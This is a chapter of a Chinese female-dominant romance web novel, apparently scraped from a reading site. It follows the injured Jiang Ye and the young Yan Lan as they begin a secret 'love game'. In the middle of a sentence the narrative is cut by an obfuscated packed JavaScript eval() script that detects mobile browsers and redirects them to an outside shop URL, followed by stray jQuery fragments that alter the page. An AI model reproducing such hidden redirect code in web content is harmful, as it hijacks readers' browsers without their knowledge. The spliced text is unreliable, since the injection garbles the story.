14.情人

作品:《蛮子,你混蛋(女尊)

    晏岚回了家,从午后等到日头西斜,等了又等都没见阿然回来,他坐不住,起身去了警局。里面当值的人却说上午压根儿没看见有人来报官。晏岚不信,又问了警局外面的摊贩和候车的车夫,得到的却都是同样的答案。


    晏岚来善德堂的时候,脸色很不好。


    江晔刚醒不久,麻药劲还在,头上还缠着绷带,衬地脸色有些苍白。她倚坐在病床上,偏头看向魂压根不在这的晏岚,“我这儿有药童看着,你有事情可以去解决,没必要一直守在这。”她声音不高,带着伤后的微哑。


    晏岚换了身衣服,脖子上围着围巾,一圈又一圈几乎遮住了他半张脸,只露出他浸着水光的眼睛,目光从输液的点滴移到她身上,“可不可以帮我找个人?”


    江晔偏头应了一声,“谁?”


    “我的小厮,叫阿然,他去报警了,可到现在都没看到他回来。我问遍了,没人见过他。”


    晏岚声音里压着慌,不知道在这种迷茫的情况下应该找谁,但他潜意识觉得眼前的女人在牟定就是有通天的本领。


    他抬起头,却对上了江晔幽深的眼瞳,那目光太静太透,仿佛能看穿他心底那点隐秘的依赖,他窘迫地移开视线。


    江晔闷笑了一声,没有一下子答应他,反而问道:“为什么突然不怕我了?”


    晏岚呼吸一滞,蓦然想起当日自己的荒唐话,臊红了脸,他局促起身,手忙脚乱地想找点事情干,正好寒风从窗户露出的缝隙跑了进来,他像找到了救星,快步走过去拉紧了窗。


    他磕磕巴巴地说:“就......突然觉得你也不是很凶。”


    关上窗,外头的风声和街市的嘈杂声顿时隔远了。屋子里面霎时安静下来,只剩下炭火偶尔噼啪一声,和她轻浅的呼吸,里面氛围一下子暧昧起来。


    江晔看着他的身影,他身上穿的戴的无疑都是最好的,围巾也是精细的羊毛;处处透着养尊处优的痕迹,晏林舍不得他受一点苦。


    而她呢,江晔眼神黯了黯。她无父无母,是被丢弃到江里的孤儿,为了遵循老师的遗言,她进了池家拜池琨当师傅,被安排婚姻,一环接着一环,她麻木地像装上了发条的玩具,任人支配。


    “你喜欢我吗?”她问。


    晏岚一愣,没想到她会说得这么直白,“我......喜欢……我不知道。”他没有体会过如此磨人的情绪,太陌生,太汹涌,像一脚踩进了沼泽里,越是动弹,陷得越深,让他心慌意乱。


    江晔低笑了一声,让他走近点,朝他伸出手,晏岚的脸都烧红了,抿着唇将手放进她手里,她的手很暖和。


    “我们玩个恋爱游戏?”江晔揉搓着他细腻的肌肤,触摸的范围仅控制在手部,她的嗓音低醇,带着诱惑力,“时限两个月,这期间,我们只牵手不会有其他的肢体接触。”


    晏岚怔了怔,眼神疑惑,“为什么?”


    少年的手指修长,却也冰凉,她的眼里藏着克制,“等你真正了解我,就会发现我的生活沉闷得像一滩死水,没有什么值得你喜欢的。”他这么干净,像雪后初霁的天,她怕自己这潭浊水,染脏了他。


    晏岚没有收回手,反而悄悄收拢手指,像是情窦里初开的少年,围脖里露出细长的脖颈,白皙漂亮地令人心尖发颤,他的目光太炽热,江晔移开目光,沉寂已久的汪洋突然被照进一缕烂漫的朝阳,清晰地露出里面的尘埃。


    晏岚敏锐地捕捉到了她一闪而过的躲闪,他发现了,眼前外表冷静沉着的女人不好意思的时候,会逃避似的躲开他的眼神。


    好可爱,想摸。


    他想伸手碰碰她的脸,却还记得“游戏”的规则,生生忍了下去。


    -----


    江晔找来万妍,让她给江莱寄了封信。


    第二天,江莱就带着阿然来善德堂,刚进门,浓重的中药味扑面而来,江莱一眼看见床上绑着绷带的江晔,几步跨到她的窗前,伸手就要撩起她的衣服,“快给我瞧瞧,还有哪里受了伤?”


    “怎么腰上还有绷带,这得吃多少猪肝才能补得回来哟!”江莱哭丧着脸,自从她出了事,自己睡也睡不好,吃也吃不好,审个小厮他嘴里跟黏上了浆糊一样,软硬兼施都没用。


    江晔用指头点着江莱的头,把她推开,淡淡地来了一句,“离我远点,闷。”


    江莱被她推得后仰,撇嘴哼道:“无情的女人!”


    这时,晏岚在门口掩嘴轻咳了两声,屋里两人都朝他看去,晏岚端着黑棋托盘,道:“江晔,你该吃药了。”阿然紧跟在晏岚的后面,眼睛直勾勾地瞪着江莱,满是戒备,生怕她有什么非分之想。


    江晔道:“好。”


    晏岚将托盘放在桌上,端起温热的药碗递给江晔.


    江莱的眼神在晏岚和江晔身上来回打转,扬起眉毛,抛出她的疑惑:“他是......晏老板的儿子?”


    “他为什么在这?”她压低声音却足以让屋里人都听见。


    江晔别过药勺,闭紧呼吸想一口闷,临了刚碰到苦涩的药汁,皱了皱眉又将碗放下,她淡淡地睨了江莱一眼,“我的救命恩人,怎么就不能在这?”


    救命恩人?江莱一时语噎。


    江晔手里的药勺不断搅动着黑不溜秋的药,她问江莱,“池家那边有动静没有?”


    江莱拖了个凳子坐在她旁边,“我让人封锁了消息,没把你受伤的消息传出去,尹响也被我关起来了。”


    晏岚站了一会儿,见她只搅不动,便从她的手里接过凉掉的药,默不作声瞥了江晔一眼,转身走到角落的小火炉边,重新拿药壶温着。


    被瞪了一眼的江晔有些无奈,药真的很苦,她都严重怀疑是不是万妍成心作弄她专开的苦方子。


    江晔道:“派人将纺织厂这些年的账簿,整理好给师傅送去吧。”


    江莱不解:“尹响从中作假账做了那么久,就是为了有朝一日能在池琨面前把你拉下马,虽我们早有准备,但现在就交底,会不会太早了?”


    江晔目光沉静:“你以为,师傅她真不知道池云的心思吗?趁这个时候,我们抢占先机,于我们,只有好处。”


    江莱恍然,“你是说……既可以除了尹响,又可以敲打池小少爷,让他消停点。”


    江晔颔首,语气转冷:“尹响此人,是留不得了,我没有那个功夫时刻提防她。”


    上次的火灾就是她擅离职守,硬拉着厂工半夜闲聊所致,后面又撺掇着厂里的人跟着她去收管制费,仗着池云给她撑腰胡作非为。


    江莱道:“那池琨问起你的情况,我怎么说?”


    江晔余光不经意间瞥向晏岚,他正安静地沏茶,阿然一旁扇着火炭,身影映入瞳底,更显温柔,她道:“就说我受了重伤,下不了病床,纺织厂的事务暂时交给你,我需要养病。”


    “最近厂里有批运往新西兰的布匹要准备妥当,今年发给工人的工资就靠这批货了。”


    江莱起身站起来,自信地拍拍胸脯,“我和Aris办事,你只管放心。”


    后面没了什么事,江莱便走了。


    见人走了,晏岚将药重新倒好端来。


    怎么都躲不开的江晔盯着黑黢黢的药汁蹙眉,从小到大她受了伤都是硬扛下来,外伤靠敷,内伤靠忍,什么时候受过喝中药的苦。


    她板着脸,一声不吭地盯着晏岚,大有一种我们昨天才刚确认关系,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157965|195394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    今天你就要毒死我的架势。


    晏岚叹了声气,嗓音清润:“你不喝,难道要我喂你?”无论怎样,今天这药都是要喝的。


    没了法,江晔接过碗,屏住气,仰头一口闷了,浓烈的苦涩瞬间席卷口腔,她憋着气将碗塞在他手上。


    晏岚眼里掠过一丝笑意,从托盘上拿来早就备好的蜂蜜水给她,“清清口,就不苦了。”


    江晔瞥了一眼晏岚,他好像在哄孩子。


    含了几口蜂蜜水,嘴里甜甜的,江晔说:“帮我把外套拿来。”


    晏岚把衣架子上她的衣服拿给他,“做什么?”


    江晔静默不语,从衣服里面的夹层里抽出张纸,再从床头柜的抽屉里掏出只笔,在上面划拉了两下,利落地交给晏岚。


    晏岚疑惑地接过来,垂眸看向手上的纸,俨然是张填好的支票,他数了一下,有五个零。


    江晔淡淡地看向了他一眼,她记得江莱和Aris交往的时候,会给Aris很多钱。


    晏岚眸光翕动,声音低了些:“我不需要这么多钱。”她还真拿他当情人了,要花钱包养他。


    江晔颔首,眉宇间有些不悦,真是富贵家的少爷,不知银钱宝贵,“你母亲不是出差了?你们家有得是用钱的地方。”她语气平淡,却带着不容置疑的意味,“放心,这钱来路干净。”


    所以,她是以为自己跟她表明心迹是为了图她钱?


    晏岚听出她语调里的冷硬,盯着支票看了很久,指尖微微收紧,良久还是将支票收下了。


    出了善德堂的门,阿然默默跟在晏岚的身后,他惊愕于少爷和江老板之间的关系,说是亲密也不亲,但说是疏远却也过于暧昧。


    晏岚头也不回,声音平静地说:“有什么话你就说。”


    阿然挠挠头,不知道当说不该说,支吾道:“少爷,您和江老板......”


    晏岚轻掀眼帘,不知不觉他们已经来到了书院门口。青砖墙上,刻在书院墙上的校训,晏岚抬头,目光落在头一行四个大字:慎思、明辨。


    四个字仿佛就是照妖镜般陡然照出他心底里的所有晦涩纠缠的念头,晏岚面色苍白,勉力一笑:“就是你想得那样。”


    没有强迫,没有哄骗,是他自己,一步一步,背弃了多年的诗书礼义。


    阿然哑然,他听见少爷对他说:“不要告诉母亲。”阿然的头都要炸了,以为少爷根本就不知道江老板和池家的事,急道:“少爷,是不是她哄骗您了,她有未婚夫。”江老板和池家少爷的婚事在牟定几乎每家每户都知道。


    晏岚像是在替自己说话,“她和她的未婚夫感情并不好。”


    阿然震愕,原来少爷都知道。


    晏岚转过身,背对着墙上那四个刺目的大字,眼里带着罕见的恳求,“算我求你。”


    阿然看着他苍白的脸,和眼底深切的挣扎,沉吟半响,江老板多大的能耐啊,居然能让他的少爷说出求一字。


    阿然最终还是答应了,他舍不得少爷伤心。


    办入学的手续很简单,晏岚找到院长进行登记,再去图书馆领了几本要用的书和安排的课表,就算是正式入学了。


    牟定的学院和西西里很不一样,西西里教的是如何能学着当好一个称职得体的夫人,如何管理仆役、操持宴会;而牟定的老师,都是在外如何能生存的技能。


    西西里的老师是庄严的,高高挂起的,不容他们反抗,教会他们如何顺从;而牟定的老师虽不会教他们体力活,但会教他们如何在家烹饪,如何用最实惠的食材填饱一家的肚子。


    晏岚深吸一口气,空气中飘着淡淡的香气,他走在走廊上,阳光将他的影子拉得很长。